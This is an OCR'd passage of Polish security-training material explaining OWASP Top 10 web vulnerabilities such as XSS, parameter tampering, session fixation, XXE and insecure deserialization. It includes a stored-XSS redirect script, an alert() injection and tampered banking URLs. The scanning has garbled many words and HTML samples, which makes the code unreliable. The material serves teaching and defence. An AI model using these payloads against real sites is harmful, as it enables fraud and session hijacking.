bank.com odsyta uzytkownikowi strone zawierajgcg wartos¢ profilu klienta, a szkodliwy kod jest
wykonywany na komputerze klienckim. Ztosliwy kod prosi ofiare o wprowadzenie informacji
profilowych. Po wprowadzeniu przez uzytkownika wszystkich niezbednych danych osobowych i
kliknieciu przycisku Przeslij osoba atakujgca otrzymuje informacje. Osoba atakujgca moze wykorzystac
te dane do podszycia sie pod uzytkownika w celu uzyskania dostepu do internetowego konta
bankowego uzytkownika i wykonania innych oszukanczych dziatan.

Atak XSS w publikowaniu na blogu

Atakujgcy  znajduje luke XSS w  witrynie techpost.org, tworzy szkodliwy skrypt
<script>onload=window.location=,http://www.certifiedhacker.com'</script> i dodaje go w polu
komentarza TechPost. Ten ztosSliwy skrypt wystany przez osobe atakujaca jest przechowywany na
serwerze bazy danych aplikacji internetowej i dziata w tle. Gdy uzytkownik odwiedza witryne TechPost,
ztosliwy skrypt wstrzykniety przez osobe atakujacg w polu komentarza TechPost aktywuje sie i
przekierowuje uzytkownika do ztosliwej strony internetowej Certifiedhacker.com.

Atak XSS w polu komentarza

Wiele aplikacji internetowych uzywa stron HTML, ktére dynamicznie akceptujg dane z réznych zrddet.
Mozna zmieni¢ dane na stronach HTML zgodnie z zgdaniem. Atakujgcy uzywajg znacznikow stron



internetowych HTML do manipulowania danymi. Rozpoczynajg atak, zmieniajgc funkcje komentarzy
za pomocyg ztosliwego skryptu. Gdy cel zobaczy komentarz i aktywuje go, docelowa przegladarka
wykonuje ztosliwy skrypt, aby osiggngé cele atakujgcego. Na przyktad osoba atakujgca znajduje
podatne na ataki pole komentarza w witrynie TechPost.org. W ten sposéb konstruuje ztosliwy skrypt
»<script>alert (,,Hello World”) </script>" i dodaje go wraz ze swoim komentarzem w polu komentarza
TechPost. Ten ztosliwy skrypt wraz z komentarzem umieszczonym przez atakujgcego w polu
komentarza jest przechowywany na serwerze bazy danych aplikacji internetowej. Gdy uzytkownik
odwiedza witryne TechPost, za kazdym razem, gdy strona jest tadowana, pojawia sie zakodowana
wiadomos¢ ,Hello World”. Dlatego, gdy uzytkownik kliknie OK w wyskakujgcym okienku , osoba
atakujgca moze uzyskaé dostep do przegladarki uzytkownika, a nastepnie wykonac ztosliwe dziatania.

A04 - Niepewny projekt

Niepewne wady projektowe powstajg w aplikacji z powodu niewtasciwej implementacji kontroli
bezpieczenstwa i mogg prowadzi¢ do kluczowych luk, takich jak zasobniki SQLi i Open S3. Projektanci
aplikacji mogg przeoczy¢ zagrozenia bezpieczenstwa lub miec¢ o nich przecietng wiedze; jest to gtéwna
przyczyna tych luk w zabezpieczeniach. Takie luki mogg bezposrednio zagrozi¢ bezpieczenstwu
aplikacji. Kolejnym najwazniejszym czynnikiem, ktéry prowadzi do tych niepewnosci w projektowaniu,
jest brak profilowania ryzyka biznesowego. Atakujacy inicjuja modelowanie zagrozen procesu
roboczego aplikacji w celu zidentyfikowania szerokiej gamy wad i luk przed wykorzystaniem
niezabezpieczonego projektu lub architektury. Ponizej przedstawiono niektére naduzycia, ktére moga
by¢ spowodowane awariami oprogramowania i integralnosci danych:

Popros o fatszerstwo
Przejecie uwierzytelnienia
Kradziez tozsamosci
Utrata danych

Ataki DoS

Przyktad

Atakujacy czesto probujg wykorzysta¢ zZle zaimplementowane interfejsy API, ktére nie filtrujg
prawidtowo zgdan. Szukajg stabych interfejséow API, ktére nie sg zintegrowane z bramami
bezpieczenstwa, aby rozréini¢ ztosliwe dane wejsciowe. Nastepnie dotgczajg ztosliwy kod do
podatnego interfejsu APIl. Gdy uzytkownik uzyskuje dostep do tego interfejsu APl za posrednictwem
aplikacji, ztosliwy kod taduje sie wraz z zawartoscia bazy danych w przegladarce uzytkownika.

AO05 - Btedna konfiguracja zabezpieczen

Deweloperzy i administratorzy sieci powinni upewnic¢ sie, ze caty stos aplikacji jest poprawnie
skonfigurowany; w przeciwnym razie btedna konfiguracja zabezpieczeh moze wystgpi¢ na dowolnym
poziomie stosu, w tym na jego platformie, serwerze WWW, serwerze aplikacji, strukturze i
niestandardowym kodzie. Na przyktad, jesli programista nie skonfiguruje poprawnie serwera, moze to
spowodowac rézne problemy, ktére mogg wptyng¢ na bezpieczeristwo witryny. Problemy, ktore
prowadzg do takich przypadkéw, obejmujg niezweryfikowane dane wejsciowe, manipulowanie
parametrami/formularzami, niewtfasciwg obstuge btedéw, niewystarczajagcg ochrone warstwy
transportowej itp.

Niezweryfikowane dane wejsciowe



Btedy sprawdzania poprawnosci danych wejsciowych odnoszg sie do luki w zabezpieczeniach aplikacji
internetowej, w wyniku ktérej dane wejsciowe od klienta nie sg sprawdzane przed przetworzeniem
przez aplikacje internetowe i serwery zaplecza. Brak walidacji lub niewtasciwa walidacja mogg narazié
aplikacje internetowa na rézne ataki sprawdzajgce poprawnos¢ danych wejsciowych. Jesli aplikacje
internetowe implementujg sprawdzanie poprawnosci danych wejsciowych tylko po stronie klienta,
osoby atakujgce mogg tatwo je oming¢, modyfikujgc zadania HTTP, adresy URL, nagtowki, pola
formularzy, pola ukryte i ciggi zapytan. Identyfikatory logowania uzytkownikéw i inne powigzane dane
sg przechowywane w plikach cookie, ktdre stajg sie srodkiem ataku. Atakujgcy wykorzystuje luki w
walidacji danych wejsciowych do przeprowadzania skryptéw miedzy witrynami, przepetniania bufora,
atakdéw wstrzykiwania itp., co skutkuje kradziezg danych i awarig systemu.

Manipulowanie parametrami/formularzami

Atak polegajacy na manipulowaniu parametrami sieci polega na manipulowaniu parametrami
wymienianymi miedzy klientem a serwerem w celu modyfikacji danych aplikacji, takich jak dane
uwierzytelniajgce i uprawnienia uzytkownika, ceny i ilosci produktéw. Informacje te sg w
rzeczywistosci przechowywane w plikach cookie, ukrytych polach formularzy lub ciggach zapytan URL.
Aplikacja internetowa wykorzystuje go do zwiekszenia swojej funkcjonalnosci i kontroli. Przyktadem
tego typu ataku jest atak man-in-the-middle (MITM). Atakujacy uzywajg do tych atakéw narzedszi,
takich jak WebScarab i WebSploit Framework. Manipulowanie parametrami to prosty rodzaj ataku
wymierzonego bezposrednio w logike biznesowa aplikacji. Wykorzystuje fakt, ze wielu programistéow
polega na ukrytych lub statych polach (takich jak ukryty znacznik w formularzu lub parametr w adresie
URL) jako jedyny S$rodek bezpieczenstwa dla niektérych operacji. Aby oming¢ ten mechanizm
bezpieczenstwa, osoba atakujgca moze zmienié te parametry. Atak polegajacy na manipulowaniu
parametrami wykorzystuje luki w mechanizmach sprawdzania integralnosci i logiki, ktére moga
skutkowaé XSS, iniekcjg SQL itp.

Szczegotowy opis:

Po nawigzaniu sesji miedzy aplikacjg internetowg a uzytkownikiem nastepuje wymiana parametréw
miedzy przeglagdarka internetowa a aplikacjg internetowa w celu zachowania informacji o sesji klienta,
co eliminuje konieczno$¢ utrzymywania rozbudowanej bazy danych po stronie serwera. Aplikacja
internetowa uzywa zapytan adresédw URL, pél formularzy i plikéw cookie do przekazywania tych
parametréw. Zmiana parametrow w polu formularza to najlepszy przyktad manipulowania
parametrami. Gdy uzytkownik wybierze strone HTML, jest ona zapisywana jako warto$¢ pola
formularza i przesytana jako strona HTTP do aplikacji internetowej. Wartosci te mogg byé wstepnie
wybrane (pole kombi, pole wyboru, przyciski radiowe itp.), tekst dowolny lub ukryte. Osoba atakujgca
moze manipulowac tymi wartosciami. W skrajnych przypadkach atak polega na zapisaniu strony, edycji
kodu HTML, i przetadowanie strony w przegladarce internetowej. Ukryte pola, ktére sg niewidoczne
dla uzytkownika koncowego, dostarczajg informacji o statusie aplikacji internetowej. Rozwazmy na
przyktad formularz zamoéwienia produktu, ktéry zawiera nastepujgce ukryte pole:

<input type="hidden" name="price" value="99,90">

Pola kombi, pola wyboru i przyciski opcji to przyktady wstepnie wybranych parametréw uzywanych do
przesytania informacji miedzy réznymi stronami, przy jednoczesnym umozliwieniu uzytkownikowi
wybrania jednej z kilku wstepnie zdefiniowanych wartosci. W przypadku ataku polegajgcego na
manipulowaniu parametrami osoba atakujgca moze manipulowa¢ tymi wartosciami. Rozwazmy na
przyktad formularz, ktéry zawiera nastepujgce pole kombi:

<FORM METHOD=POST ACTION="xferMoney.asp">



Source Account: <SELECT NAME=MSrcAcc">

COPTION VALUE="123456789">******789</OPTION>
<OPTION VALUE="868686868">******868</OPTIONX/SELECT>
<BR>Amount: CINPUT NAME="Amount" SIZE=20>
<BR>Destination Account: <INPUT NAME="DGstAcc" SIZE=40>
<BRXINPUT TYPE=SUBMITXINPUT TYPE=RESET>

</FORM>

Ominiecie:

Osoba atakujgca moze omingc¢ koniecznos¢ wyboru miedzy dwoma kontami, dodajgc kolejne konto w
kodzie zrédtowym strony HTML. Przegladarka internetowa wyswietla nowe pole kombi, a osoba
atakujgca moze wybraé nowe konto. Formularze HTML przesyfajg swoje wyniki za pomoca jednej z
dwéch metod: GET lub POST, w GET wszystkie parametry formularza i ich wartosci pojawiajg sie w
ciggu zapytania nastepnego adresu URL, ktdéry widzi uzytkownik. Osoba atakujgca moze manipulowaé
tym ciggiem zapytania. Rozwazmy na przyktad strone internetowg, ktdra umozliwia
uwierzytelnionemu uzytkownikowi wybranie jednego z jego rachunkdéw z pola kombi i obcigzenie
konta statg kwota jednostkowa. Gdy uzytkownik kliknie przycisk przesytania w przegladarce
internetowej, zadanie adresu URL wyglada nastepujaco:
http://mm.certifiedhackerbank.com/cust.asp?profile=21Sdebit=2500 .Atakujagcy moze zmienié
parametry adresu URL (profil i debet) w celu obcigzenia innego rachunku:

http://mm.certifiedhackerbank.com/cust.asp?profile=82&debit=1500

Osoba atakujgca moze modyfikowad inne parametry adresu URL, w tym parametry atrybutéw i moduty
wewnetrzne. Parametry atrybutéw to unikalne parametry charakteryzujgce zachowanie przesytanej
strony. Rozwazmy na przykfad aplikacje internetowg do udostepniania tresci, ktéra umozliwia twércy
tresci modyfikowanie tresci, podczas gdy inni uzytkownicy mogg tylko wyswietla¢ zawartos¢. Serwer
WWW sprawdza, czy uzytkownik uzyskujgcy dostep do wpisu jest jego autorem, czy nie (zwykle za
pomoca plikéw cookie). Zwykty uzytkownik poprosi o nastepujacy link:

http://mm.certifiedhackerbank.com/stat.asp?pg=531&status=view

Osoba atakujgca moze zmodyfikowaé parametr statusu na ,usun”, aby usungc¢ uprawnienia do
zawartosci.

http://mm.certifiedhackerbank.com/stat.asp?pg=147&status=delete

Manipulowanie parametrami/formularzami moze prowadzi¢ do kradziezy ustug, eskalacji dostepu,
przejmowania sesji i przyjmowania tozsamosci innych uzytkownikdow, a takze parametréw
zapewniajgcych dostep do informacji programisty i debugowania.

Niewtasciwa obstuga btedéw

Konieczne jest zdefiniowanie, jak ma sie zachowywac system lub sie¢ w przypadku wystgpienia btedu.
W przeciwnym razie btgd moze dac atakujagcemu szanse na wtamanie sie do systemu. Niewtasciwa
obstuga btedéw moze prowadzi¢ do atakéw DoS. Niewtasciwa obstuga btedéw zapewnia wglad w kod
zrodtowy, na przyktad btedy logiczne i konta domysine, ktore atakujgcy moze wykorzystaé. Korzystajac
zinformacji otrzymanych z komunikatu o btedzie, osoba atakujgca identyfikuje luki w zabezpieczeniach



umozliwiajgce przeprowadzanie rdéinych atakow na aplikacje internetowe. Niewtasciwa obstuga
wyjatkdbw ma miejsce, gdy aplikacje internetowe nie ograniczajg ilosci informacji zwracanych
uzytkownikom. Wyciek informacji moze obejmowaé pomocne komunikaty o btedach i banery ustug.
Deweloperzy i administratorzy systemdow czesto zapominajg lub lekcewazg sposdb, w jaki osoba
atakujgca moze wykorzysta¢ co$ tak prostego, jak baner serwera. Osoba atakujgca rozpocznie
wyszukiwanie miejsca do zidentyfikowania luk w zabezpieczeniach i sprébuje wykorzystaé informacje,
ktore aplikacje dobrowolnie zgtaszaja.

Atakujgcy moze zebrac nastepujgce informacje z niewtasciwej obstugi btedow:
o Wyijatki wskaznika zerowego

o Awaria wywotania systemowego

0 Baza danych jest niedostepna

o Limit czasu sieci

o Informacje o bazie danych

o Przeptyw logiczny aplikacji WWW

o Srodowisko aplikacji

Niewystarczajgca ochrona warstwy transportowej

Niewystarczajgca ochrona warstwy transportowej to luka w zabezpieczeniach, ktéra pojawia sie, gdy
aplikacja nie chroni wrazliwego ruchu przeptywajacego w sieci. Obstuguje stabe algorytmy i
wykorzystuje wygaste lub niewazne certyfikaty. Deweloperzy powinni uzywaé uwierzytelniania SSL/TLS
do uwierzytelniania na stronach internetowych; w przeciwnym razie osoba atakujagca moze
monitorowac ruch sieciowy. O ile komunikacja miedzy stronami internetowymi a klientami nie jest
szyfrowana, dane mogg zosta¢ przechwycone, wstrzykniete lub przekierowane. Nieuprzywilejowana
konfiguracja protokotu SSL moze réwniez poméc atakujgcemu w przeprowadzaniu atakéw typu
phishing i MITM. Kompromitacja systemu moze prowadzi¢ do réznych innych zagrozen, takich jak
kradziez konta, ataki phishingowe i przejecie konta administratora. Tym samym niewystarczajgca
ochrona warstwy transportowej moze pozwoli¢ niepowotanym osobom trzecim na uzyskanie
nieautoryzowanego dostepu do wrazliwych informacji. Wszystko to dzieje sie, gdy aplikacje obstuguja
stabe algorytmy uzywane do SSL i gdy uzywajg wygastych lub niewaznych certyfikatéw SSL lub nie
uzywajg ich poprawnie.

Przyktad

Zatézmy, ze uzytkownik loguje sie do aplikacji bankowosci internetowej, ktéra nie posiada
wystarczajgcej ochrony warstwy transportowej (tj. nie jest zaszyfrowana SSL). Wrazliwe dane w
komunikacji (np. identyfikator sesji) mogg by¢ podatne na ataki podczas przesytania w formacie
zwyktego tekstu. Pozwala to atakujgcemu na kradziez takich danych w celu przeprowadzenia réznego
rodzaju atakéw na aplikacje.

Niewtasciwe ograniczenie zewnetrznej jednostki XML (XXE)

Wiele starszych lub Zle skonfigurowanych procesoréw XML ocenia odwotania do jednostek
zewnetrznych w dokumentach XML. Podmioty zewnetrzne mogg ujawnia¢ pliki wewnetrzne za
pomocg modutu obstugi identyfikatorow URI plikdw, wewnetrznych udziatéw plikéw SMB na



serwerach z systemem Windows bez poprawek, wewnetrznego skanowania portéw, zdalnego
wykonywania kodu i atakdw DoS, takich jak atak miliarda $miechu.

Niektére problemy z konfiguracjg serwera sg nastepujace:
Brak wzmocnienia zabezpieczen

Btedy oprogramowania serwera

Wiaczanie niepotrzebnych ustug

Nieprawidtowe uwierzytelnienie

Niezatatane luki w zabezpieczeniach

Problemy z konfiguracjg serwera

Domysine konta z domysInymi poswiadczeniami

Starsze oprogramowanie

Zautomatyzowane skanery pomagajg wykry¢ kilka z tych problemodw. Atakujgcy mogg uzyskac¢ dostep
do kont domysinych, nieuzywanych stron, niezatatanych btedéw, niezabezpieczonych plikow i
katalogéw itd., aby uzyska¢ nieautoryzowany dostep. Osoba odpowiedzialna powinna zajg¢ sie
wszystkimi takimi niepotrzebnymi i niebezpiecznymi funkcjami. Catkowite wytgczenie ich okazatoby sie
bardzo korzystne, uniemozliwiajgc osobom postronnym uzywanie ich do ztosliwych atakow. Aby
unikna¢ wycieku kluczowych informacji do atakujgcych, administrator sieci powinien zatem zadbac o
wszystkie pliki aplikacji poprzez odpowiednie uwierzytelnianie i silne metody bezpieczeristwa. Na
przyktad, jesli konsola administracyjna serwera aplikacji jest automatycznie instalowana i nie usuwana,
a domysine konta nie sg zmieniane, osoba atakujgca wykrywa standardowe strony administracyjne na
serwerze, loguje sie przy uzyciu domysinych haset i przejmuje kontrole nad serwerem.

Jednostka zewnetrzna XML (XXE)

Atak XML External Entity to atak polegajgcy na fatszowaniu zagdan po stronie serwera (SSRF), w ktérym
aplikacja moze analizowaé¢ dane wejsciowe XML z niewiarygodnego Zrédta z powodu Zle
skonfigurowanego parsera XML. W tym ataku atakujgcy wysyta ztosliwe dane wejsciowe XML
zawierajgce odniesienie do podmiotu zewnetrznego do aplikacji internetowej ofiary. Kiedy te ztosliwe
dane wejsciowe s3g przetwarzane przez stabo skonfigurowany parser XML docelowej aplikacji
internetowej, umozliwia to atakujgcemu dostep do chronionych plikéw i ustug z serwerdéw lub
pofaczonych sieci. Poniewaz funkcje XML sg powszechnie dostepne, osoba atakujgca naduzywa tych
funkcji do dynamicznego tworzenia dokumentéw lub plikéw w czasie przetwarzania. Atakujacy maja
tendencje do maksymalnego wykorzystania tego ataku, poniewaz umozliwia im odzyskanie poufnych
danych, przeprowadzenie atakéw DoS i uzyskanie wrazliwych informacji za posrednictwem FITTP(S); w
niektérych najgorszych scenariuszach mogg nawet by¢ w stanie wykona¢ zdalne wykonanie kodu lub
przeprowadzi¢ atak CSRF na dowolng podatng na ataki ustuge. Zgodnie ze standardem XML 1.0, XML
wykorzystuje encje czesto definiowane jako jednostki pamieci. Jednostki to specjalne funkcje XML,
ktére mogg uzyskiwac dostep do tresci lokalnych lub zdalnych i sg definiowane w dowolnym miejscu
w systemie za pomocy identyfikatorow systemowych. Podmioty nie muszg by¢ czescig dokumentu
XML, poniewaz mogg rowniez pochodzié¢ z systemu zewnetrznego. Identyfikatory systemowe, ktore
dziatajg jako identyfikatory URI, sg uzywane przez procesor XML podczas przetwarzania jednostki.
Proces analizowania sktadni XML zastepuje te jednostki ich rzeczywistymi danymi, a atakujacy
wykorzystuje te luke, zmuszajac parser XML do uzyskania dostepu do pliku lub okreslonej przez niego



zawartosci. Ten atak moze by¢ bardziej niebezpieczny jako zaufana aplikacja; przetwarzanie
dokumentéw XML moze zosta¢ wykorzystane przez atakujgcego do przestawienia systemu
wewnetrznego w celu uzyskania wszelkiego rodzaju wewnetrznych danych systemu. Na przyktad osoba
atakujgca wysyta nastepujacy kod w celu wyodrebnienia danych systemowych z podatnego celu.

A06 - Podatne na ataki i przestarzate sktadniki/Korzystanie ze sktadnikow ze znanymi lukami w
zabezpieczeniach

Komponenty, takie jak biblioteki i frameworki, ktore sg uzywane w wiekszosci aplikacji internetowych,
zawsze dziatajg z petnymi uprawnieniami, a wady dowolnego komponentu moga mieé¢ powaine
konsekwencje. Atakujagcy mogg zidentyfikowaé stabe komponenty lub zaleznosci, skanujgc lub
przeprowadzajgc reczng analize. Atakujgcy wyszukujg luki w zabezpieczeniach witryn
wykorzystujgcych luki, takich jak Exploit Database (https://www.exploit-db.com), CXSecurity
(https://cxsecurity.com) i Zero Day Initiative (https://www.zerodoyinitiotive. com). Jesli zostanie
zidentyfikowany podatny na ataki komponent, atakujgcy dostosowuje exploit zgodnie z wymaganiami
i przeprowadza atak. Skuteczna eksploatacja umozliwia atakujgcemu spowodowanie powaznej utraty
danych lub przejecie kontroli nad serwerami. Osoba atakujgca zazwyczaj wykorzystuje witryny
wykorzystujgce luki w zabezpieczeniach do identyfikowania luk w aplikacjach internetowych lub
przeprowadza skanowanie pod katem luk w zabezpieczeniach za pomocg narzedzi takich jak Nessus i
GFl LanGuard w celu zidentyfikowania istniejgcych komponentéw podatnych na ataki.

Oto niektére z warunkow, ktére powodujg, ze aplikacje s podatne na ataki:

Kiedy wszystkie wersje komponentdéw zaréwno po stronie serwera, jak i klienta pozostajg nieznane.
Moze to obejmowac zagniezdzone zaleznosci, a takze komponenty, ktdre sg uzywane bezposrednio.

Gdy oprogramowanie, takie jak systemy operacyjne, serwery baz danych/internetowych/aplikacji,
srodowiska uruchomieniowe i inne komponenty sg nieobstugiwane, przestarzate lub niezatatane.

Gdy regularny proces skanowania w poszukiwaniu luk w zabezpieczeniach jest zaniedbywany i nie
subskrybuje sie aktualizacji zabezpieczen zwigzanych z uzywanymi komponentami.

Gdy podstawowa platforma, platforma i zaleznosci nie otrzymujg aktualnych aktualizacji.

Gdy kompatybilnosé aktualizacji lub poprawek oprogramowania nie zostanie odpowiednio
zweryfikowana lub sprawdzony.

Gdy wdrozono odpowiednie zabezpieczenia plikdw konfiguracyjnych komponentéw.
AQ7 - Btedy identyfikacji i uwierzytelniania/Uszkodzone uwierzytelnianie

Identyfikacja, uwierzytelnianie i zarzadzanie sesjami obejmujg kazdy aspekt uwierzytelniania
uzytkownika i zarzadzania aktywnymi sesjami. Obecnie aplikacje internetowe implementujgce solidne
mechanizmy uwierzytelniania zawodzg z powodu stabych funkcji uwierzytelniajgcych, takich jak
,Zzmien hasto”, ,zapomniatem hasta”, ,zapamietaj moje hasto” i ,aktualizacja konta”. Dlatego
programisci muszg zachowac najwyzszg ostroznosc podczas bezpiecznego wdrazania uwierzytelniania
uzytkownikéw. Zawsze lepiej jest uzywad silnych metod uwierzytelniania za pomocy specjalnych
tokendw kryptograficznych lub danych biometrycznych opartych na oprogramowaniu i sprzecie. Aby
podszy¢ sie pod uzytkownikow, osoba atakujgca wykorzystuje luki w zabezpieczeniach funkgji
uwierzytelniania lub zarzadzania sesjami, takich jak ujawnione konta, identyfikatory sesji,
wylogowanie, zarzadzanie hastami, przekroczenia limitu czasu, zapamietaj mnie, tajne pytanie,
aktualizacja konta i inne.



Identyfikator sesji w adresach URL
Przykfad:
Aplikacja internetowa tworzy identyfikator sesji, gdy uzytkownik sie loguje

http://certyfikowanyhackershop.com. Atakujgcy uzywa sniffera do wachania pliku cookie
zawierajgcego identyfikator sesji lub naktania uzytkownika do ujawnienia identyfikatora sesji. Osoba
atakujgca wprowadza teraz nastepujacy adres URL w pasku adresu swojej przegladarki:

http://certifiedhackershop.com/sale/saleitems=304;jsessio
Nid=120MTOIDPXMOOQSABGCKLHCJUN2JV?dest=NewMexico

To przekierowuje atakujgcego do juz zalogowanej strony ofiary. W ten sposéb atakujacy z
powodzeniem podszywa sie pod ofiare. Jesli identyfikatory sesji s widoczne w adresie URL, aplikacja
internetowa jest narazona na ataki utrwalajace sesje.

W celu uwierzytelnienia uzytkownika kazda aplikacja internetowa wykorzystuje metode identyfikacji
uzytkownika, taka jak identyfikator i hasto. Atakujacy moga identyfikowac hasta przechowywane w
bazach danych z powodu stabych algorytméw haszujgcych. Co wiecej, osoby atakujgce mogg uzyskac
dostep do bazy danych haset aplikacji internetowej, jesli hasta uzytkownikdw nie sg szyfrowane, co
umozliwia atakujgcym wykorzystanie hasta kazdego uzytkownika. Po zhakowaniu systemu osoby
atakujgce mogg wykonywacd rdzne ztosliwe dziatania, takie jak przejmowanie sesji i podszywanie sie
pod uzytkownika.

Wykorzystanie limitu czasu

Jesli limit czasu sesji jest dtugi, a identyfikatory sesji nie sg zmieniane po kazdym logowaniu, atakujacy
moga przejac sesje i przejac nad nig kontrole z takimi samymi uprawnieniami jak ofiara. Jesli limity
czasu sesji aplikacji sg ustawione na dtugi czas, sesje bedg trwaty do okreslonego czasu, czyli sesja
bedzie wazna przez dtugi okres. Gdy uzytkownik zamknie przeglgdarke bez wylogowania sie z witryn
dostepnych za posrednictwem komputera publicznego, osoba atakujgca moze pézniej uzy¢ tej samej
przegladarki do przeprowadzenia ataku, poniewaz identyfikatory sesji mogg pozosta¢ wazne; w ten
sposdb mogg wykorzystywac uprawnienia uzytkownika.

Przyktad:

Uzytkownik loguje sie do www.certifiedhacker.com przy uzyciu swoich danych uwierzytelniajacych. Po
wykonaniu okreslonych czynnosci zamykajg przegladarke internetowg bez wylogowania ze strony.
Limit czasu sesji aplikacji internetowej jest ustawiony na 2 godziny. Jesli atakujgcy ma fizyczny dostep
do systemu uzytkownika przez okreslony interwat sesji, moze nastepnie uruchomi¢ przegladarke,
sprawdzié¢ historie i klikng¢ odnosnik www.certifiedhacker.com, ktéry automatycznie przekieruje
atakujgcego na konto uzytkownika bez koniecznosci aby wprowadzi¢ poswiadczenia uzytkownika.

A08 - Awarie oprogramowania i integralnosci danych

Awarie oprogramowania i integralnosci danych wystepujg, gdy organizacje nie aktualizujg
oprogramowania aplikacji do najnowszych wersji lub poprawek. Czesto aplikacje internetowe opierajg
sie na wtyczkach, zaleznosciach, bibliotekach lub pakietach, ktére mozna zainstalowa¢ z publicznych
repozytoridéw, sieci dostarczania tresci (CDN) lub niezaufanych Zrddet, co czyni je podatnymi na ataki.
Wiekszo$¢ organizacji wdraza funkcje automatycznej aktualizacji oprogramowania, ktére aktualizuja
lub poprawiajg wczesniej zaufane aplikacje bez zadnej weryfikacji. Dlatego programisci muszg
zachowad najwyzszg ostrozno$¢ podczas audytowania kodu, zabezpieczania potokéw CI/CD i



korzystania z bibliotek innych firm z zaufanych repozytoriéw. Powinni réwniez upewni¢ sie, ze
serializowane dane sg przesytane z szyfrowaniem lub podpisami. Jesli oprogramowanie jest
uszkodzone, moze spowodowaé¢ ogromne szkody w postaci nieprawidtowego zachowania w
Srodowiskach czasu rzeczywistego lub odstoniecia sktadnikdw aplikacji.

Typowe stabosci bezpieczenstwa w tej kategorii obejmujg wtgczenie funkcjonalnosci z niezaufanej
sfery kontrolnej, pobieranie kodu bez sprawdzania integralnosci oraz deserializacja niezaufanych
danych. Ponizej przedstawiono niektére exploity, ktédre mozina wykona¢ przy uzyciu awarii
oprogramowania i integralnosci danych:

Zatrucie pamieci podrecznej
Wstrzykniecie kodu
Wykonanie polecenia
Odmowa ustugi

Kradziez danych

Atakujgcy wykorzystujg niezabezpieczony potok Cl/CD organizacji do instalowania i rozpowszechniania
ztosliwego kodu. Klient nieumysinie pobiera i instaluje to oprogramowanie z serwerdw organizacji bez
sprawdzenia jego integralnosci. Teraz atakujacy wykorzystujg ztosliwy kod w sieci klienckiej, aby
uzyskaé petny dostep zdalny.

Niebezpieczna deserializacja

Poniewaz dane w komputerze sg przechowywane w postaci struktur danych (wykres, drzewa, tablice
itp.), serializacja i deserializacja danych jest skutecznym procesem linearyzacji i delinearyzacji obiektow
danych w celu przetransportowania ich do innych sieci lub systemodw.

Serializacja

Rozwazmy przyktad obiektu ,Pracownik” (dla platformy JAVA), w ktérym obiekt Pracownik sktada sie
z danych, takich jak imie i nazwisko, wiek, miasto i identyfikator pracownika. Ze wzgledu na proces
serializacji dane obiektowe zostang przekonwertowane do nastepujgcego formatu liniowego w celu
transportu do réznych systeméw lub réznych weztéw sieci.

<Employee><Name>Rinni</Name><Age>26</Age><City>Nevada</City><EmplID>2201</EmpID></E
mployee>

Deserializacja

Deserializacja to proces odwrotny do serializacji, w ktérym dane obiektowe sg odtwarzane z liniowych
serializowanych danych. Ze wzgledu na proces deserializacji serializowany obiekt Pracownik podany w
powyzszym przykfadzie zostanie ponownie przekonwertowany na dane obiektu, jak pokazano na
ponizszym rysunku:



<Employee><Name>Rinni</Name><Age>26</Age><City>
Nevada</City><EmpID>2201</EmpID></Employee>

Deserialization l
] Employee ’
& b d A
Name Age City EmplD
Rinni 26 Nevada 2201

Niebezpieczna deserializacja

Ten proces serializacji i deserializacji jest skutecznie wykorzystywany w komunikacji miedzy sieciami, a
jego szerokie zastosowanie przycigga atakujgcych do wykorzystania luk w tym procesie. Atakujacy
wstrzykujg ztosliwy kod do serializowanych danych w formacie liniowym i przesyfajg ztosliwe
serializowane dane do ofiary. Ponizej przedstawiono przykfad wstrzykniecia ztosliwego kodu do
szeregowanych danych liniowych przez atakujacego:

<EmployeeXName>Rinni</NameXAge>26</AgeXCity>Nevada
</CityXEmpID>2201</EmpID>SZKODLIWA PROCEDURA</Employee>

Z powodu niezabezpieczonej deserializacji wstrzykniety ztosliwy kod pozostanie niewykryty i
pozostanie obecny podczas ostatecznego wykonania kodu deserializacji. Powoduje to wykonanie
ztosliwych procedur wraz z wykonaniem serializowanych danych, jak pokazano na ponizszym rysunku:



Attacker

Injects malicious code in
serialized data

<Employee><Name>Rinni</Name><Age>26</Age><City>Nevada
</City><EmplID>2201</EmpID>MALICIOUS PROCEDURE</Employee>

Deserialization

_______ Malicious
covloyee |+

Insecure l

Hack
L = 4 A
Name Age City EmplD
Rinni 26 Nevada 2201

Moze to mie¢ powazny wptyw na system, poniewaz upowaznia atakujacego do zdalnego wykonywania
i uruchamiania systemoéw. Ponadto moze to mieé negatywny wptyw na kazde oprogramowanie lub
serwer podatne na ataki deserializacji.

A09 - Awarie rejestrowania i monitorowania zabezpieczeri/Niewystarczajgce rejestrowanie i
monitorowanie

Aplikacje internetowe przechowujg dzienniki w celu $ledzenia wzorcéw uzytkowania, takich jak
poswiadczenia logowania uzytkownikow i administratoréw. Btedy rejestrowania i monitorowania
zabezpieczen obejmujg stabosci aplikacji, takie jak niewystarczajgce rejestrowanie, niewtfasciwa
neutralizacja danych wyjsciowych dla dziennikdw, wykluczanie informacji istotnych z punktu widzenia
bezpieczenstwa oraz dodawanie poufnych informacji do plikéw dziennika. Niewystarczajgce
rejestrowanie i monitorowanie odnoszg sie do scenariuszy, w ktérych oprogramowanie wykrywajace
nie rejestruje ztosliwego zdarzenia lub ignoruje waine szczegdty zdarzenia. Atakujgcy zwykle
wprowadzajg, usuwajg lub manipulujg dziennikami aplikacji internetowych w celu przeprowadzania
ztosliwych dziatan lub ukrywania swojej tozsamosci. Niewystarczajgce rejestrowanie i monitorowanie
utrudniajg wykrywanie ztosliwych préb atakujacego, a atakujgcy moze przeprowadzaé ztosliwe ataki,
takie jak brutalne wymuszanie haset w celu kradziezy poufnych haset. Ponizej podano kilka przyczyn
niepowodzen rejestrowania i monitorowania zabezpieczen:

¢ Dzienniki, ktore nie dostarczajg informacji o ogdlnej liczbie logowan, nieudanych prébach logowania
i waznych transakcjach.

e Ostrzezenia i komunikaty o btedach, ktdre zawierajg niejasne i niewystarczajgce informacje
dziennika. Niewtasciwe monitorowanie aplikacji i logéw API.



e Lokalne przechowywanie dziennikow.
¢ Niewtfasciwa realizacja lub brak realizacji proceséw eskalacji odpowiedzi.

¢ Narzedzia dynamicznego testowania bezpieczenistwa aplikacji (DAST), takie jak OWASP ZAP, ktére
nie generujg alertow.

e Aplikacje internetowe, ktére nie s w stanie wykrywac, eskalowaé ani generowad alertéw o
podejrzane dziatania w czasie rzeczywistym.

A10 - fatszowanie zgdan po stronie serwera (SSRF)

Atakujacy wykorzystujg luki w zabezpieczeniach zwigzane z fatszowaniem Zzadan po stronie serwera
